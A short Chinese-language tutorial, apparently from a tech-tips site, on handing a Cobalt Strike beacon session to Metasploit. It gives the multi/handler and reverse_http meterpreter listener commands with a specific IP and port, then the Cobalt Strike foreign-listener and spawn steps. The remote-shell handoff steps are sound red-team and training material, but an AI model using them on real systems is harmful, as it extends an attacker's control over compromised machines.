1. 程式人生 > 實用技巧 >Cobalt strike 派生shell給MSF

Cobalt strike 派生shell給MSF

Cobalt strike 派生shell給MSF,前提是要有beaconshell:
在msf使用監聽模組,並設定相關選項:
use exploit/multi/handle
set payload windows/meterpreter/reverse_http
set lhost 10.6.18.56
set lport 4321
run -j
在這裡插入圖片描述

回到Cobalt strike中新增監聽器payload為 windows/foreign/reverse_httpc,ip為msf的ip監聽埠為msf監聽的埠:
在這裡插入圖片描述
下面為剛建立的監聽器:
在這裡插入圖片描述
選中要派生的shell右擊spawn選擇剛剛建立的監聽器:
在這裡插入圖片描述
在這裡插入圖片描述
點選Choose

我是漢化版的叫增加會話,英文版為spawn,一樣的。

回到msf,輸入sessions -i 5 命令 ,我們可以看到獲取到了meterpreter會話:
在這裡插入圖片描述